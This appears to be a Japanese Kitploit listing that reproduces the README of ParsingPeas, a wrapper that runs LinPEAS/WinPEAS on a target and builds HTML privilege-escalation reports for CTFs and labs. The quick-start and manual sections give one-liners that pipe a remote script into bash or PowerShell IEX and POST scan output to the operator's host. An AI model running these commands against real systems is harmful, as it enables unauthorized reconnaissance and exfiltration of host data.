Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/yuvalmil/parsingpeas
特権昇格スクリプトと自動化情報収集ポストエクスプロイトCTFペネトレーションテストユーティリティとフレームワーク学習と教育ラボと実践
GitHubyuvalmil/parsingpeas

ParsingPeas

PEAS出力用HTMLパーサー(追加機能付き)

リポジトリを見る
159141ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ParsingPeas 🥒

PEASSの自動収集 + CTFやラボの権限昇格作業向けのクリーンでポータブルなHTMLレポート。

License: MIT Python 3.8+

ターゲット上で1つのコマンドを実行するだけで、ParsingPeasがKaliホストからLinPEAS/WinPEASを取得し、スキャンを実行し、出力を返送し、読み取り、検索、トリアージ、保存可能な単一の自己完結型HTMLレポートに変換します。手動のファイル転送も、ターゲット上のインターネット接続も不要です。


スクリーンショット

レポート概要 — LinPEASのカテゴリごとにセクションをグループ化し、発見ドットと発見バーを表示:

レポート概要

発見項目のみ — ワンクリックでレポートとサイドバーをフィルタリングし、Critical/Highのヒットがあるセクションのみ表示:

発見項目のみ

全ターミナル出力 — 完全な色付きスキャン結果を忠実に再現。Ctrl-Fで検索可能:

全ターミナル出力


なぜか

生のPEASS出力は、スクロールするターミナルテキストの壁であり、シェルが終了すると消えてしまいます。ParsingPeasは:

  • 面倒な作業を自動化 — scp、自分でLinPEASをホスティング、出力をKaliにコピペする必要がありません。
  • 保存する — すべてのスキャンはホスト上にタイムスタンプ付きのHTMLレポートとして残ります。
  • ナビゲーション可能にする — 出力はLinPEASの実際のセクションごとに分割され、カテゴリ化されたサイドバー、発見項目のハイライト、全文検索が利用できます。
  • 持ち運びに便利 — 各レポートは単一の自己完結型.htmlファイルで、ボックスからコピーしてアーカイブしたり、ダブルクリックでオフラインで開いたりできます。

これはプレゼンテーション+ロジスティクスであり、エクスプロイトエンジンではありません。PEASS独自の配色と発見結果を忠実に保持し、それらを再解釈することはありません。


機能

  • ワンライナーワークフロー — ターゲットがホストからラッパーをダウンロードし、PEASSを実行し、自動的に結果をPOSTします。
  • ターゲット上でオフライン動作 — すべてがKaliホストから提供されます。
  • 忠実なセクションパース — LinPEASの実際の2レベルヘッダ階層(メジャーセクション+サブチェック)に従います。HackTricksリンクやチェック行はコンテンツとして残り、目次を汚しません。
  • 自己完結型レポート — ターミナル出力がインラインで埋め込まれ、単一ファイル、サイドカー不要。file://経由で開けます。
  • インタラクティブなレポートビュー:
    • PEASS独自のセクションでグループ化され、Critical/Highのカウントを表示するサイドバー目次。
    • 発見バー — フラグが付いたセクションにジャンプする「N critical」/「N high」チップと、色の凡例。
    • 高速トリアージのための発見項目のみフィルター。
    • 行折り返しトグル(デフォルトON — 行の切り詰め防止)。
    • スクロールスパイ — スクロール中に現在のセクションが目次でハイライト。
    • 固定セクションヘッダーと「既読マーク」ドット(localStorageに保存、レポートごと)。
    • 現在のユーザー(rootの場合は赤)とOSを示すヘッダーバッジ。
  • 全ターミナル出力タブ — 完全な色付きスキャンを一度にレンダリング。ブラウザのCtrl-Fですべてを検索可能。
  • 落ち着いたダークテーマ — 長時間のセッションでも目に優しい。
  • Linux & Windows — LinPEAS(bash)とWinPEAS(PowerShell)に対応。

クイックスタート

Kaliホスト上で

root@kitploit:~
git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh                      # LinPEAS + WinPEAS を scripts/ にダウンロード
pip3 install -r requirements.txt
python3 receiver.py             # http://0.0.0.0:8005 で起動

receiver.pyは起動したままにしておきます。ターゲットがアクセスできるIPを確認します:

  • HTB / VPN: tun0アドレス — ip -4 addr show tun0
  • LAN: 通常のインターフェースIP

ターゲット上で

Linux/Unix(curlを使用、フォールバックとしてwget):

root@kitploit:~
curl -sSL http://YOUR_KALI_IP:8005/get-script | bash

Windows(PowerShell / リバースシェル):

root@kitploit:~
powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8005/get-script.ps1')"

ターゲットOSに合わせてワンライナーを選択 — LinuxにはLinPEAS、WindowsにはWinPEASを提供します。

レポートを表示する

レポートはKaliホストの./reports/に生成されます。次のいずれかでアクセス:

  • http://YOUR_KALI_IP:8005 でインデックスを参照し、レポートをクリックする、または
  • 生成されたファイルを直接開く — 自己完結型です:
    root@kitploit:~
    xdg-open ./reports/report_<ホスト>_<タイムスタンプ>.html
    

この単一の.htmlファイルはどこにでもコピーでき、単独で動作します。


動作の仕組み

root@kitploit:~
ターゲット → Kaliからラッパーをダウンロード → PEASSを実行 → 出力をPOST → Kaliがパース → 自己完結型HTMLレポート

ターゲットはインターネット接続不要 — ラッパーとPEASSバイナリはすべてホストから提供されます。


レポートの使い方

  • レポート概要タブ — サイドバーにPEASSカテゴリごとにセクションをグループ化。赤/黄のドットはCritical/Highの発見があるセクションを示します。発見チップを使って直接ジャンプするか、発見項目のみでそれ以外を非表示にできます。
  • 全ターミナル出力タブ — 完全な色付きスキャン。Ctrl-Fで検索。出力全体がレンダリングされているため、ネイティブの検索ですべてをカバーします。
  • 発見ドットをクリックしてセクションを既読に — レポートを再度開いたときも既読状態が維持されます。

手動での使用

ワンライナーが失敗した場合は手動で行います。

Linux:

root@kitploit:~
# ターゲット上
curl http://KALI_IP:8005/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt
# 送信
curl -X POST -H "X-Hostname: $(hostname)" -H "X-Scan-Type: linpeas" \
  --data-binary @/tmp/out.txt http://KALI_IP:8005/upload

Windows(PowerShell):

root@kitploit:~
Invoke-WebRequest -Uri http://KALI_IP:8005/get-winpeas -OutFile $env:TEMP\wp.exe
& "$env:TEMP\wp.exe" > $env:TEMP\out.txt
Invoke-WebRequest -Uri http://KALI_IP:8005/upload -Method POST `
  -Headers @{"X-Hostname"=$env:COMPUTERNAME; "X-Scan-Type"="winpeas"} `
  -InFile $env:TEMP\out.txt

既存のPEASSダンプをパースする:

root@kitploit:~
python3 parser.py /path/to/peas_output.txt   # ./reports/ にHTMLレポートを書き出し

設定

receiver.pyの先頭を編集:


トラブルシューティング

  • スクリプトをダウンロードできない? curl http://KALI_IP:8005/health で接続性を確認。sudo ufw allow 8005/tcp でファイアウォールを開放。
  • /get-linpeas が404? ./setup.sh を実行してPEASSバイナリを取得。
  • PowerShellリバースシェルでライブ出力がない? 正常動作です — スキャンは実行中で、レシーバーでアップロード確認を待ちます。

セキュリティ

⚠️ 許可されたペネトレーションテスト、CTF、ラボでのみ使用してください。

  • 認証はありません — 隔離された/CTFネットワーク、ファイアウォールの背後でのみ実行してください。
  • アップロードヘッダー値はサニタイズされ、アップロードサイズは制限されていますが、サーバーは悪意のあるインターネット公開に対して強化されていません。

クレジット

PEASS-ng(@carlospolop)をベースに構築されています。ParsingPeasはその出力を収集し表示するだけです。


MITライセンス · コントリビューション歓迎

ツールをダウンロード
設定項目デフォルト備考
ポート8005app.run(... port=...)行を変更
OUTPUT_DIR./received_outputs生のアップロードスキャン
REPORTS_DIR./reports生成されたHTMLレポート
SCRIPTS_DIR./scriptsLinPEAS/WinPEASバイナリ
MAX_UPLOAD_SIZE10 MB強制 — これを超えるとHTTP 413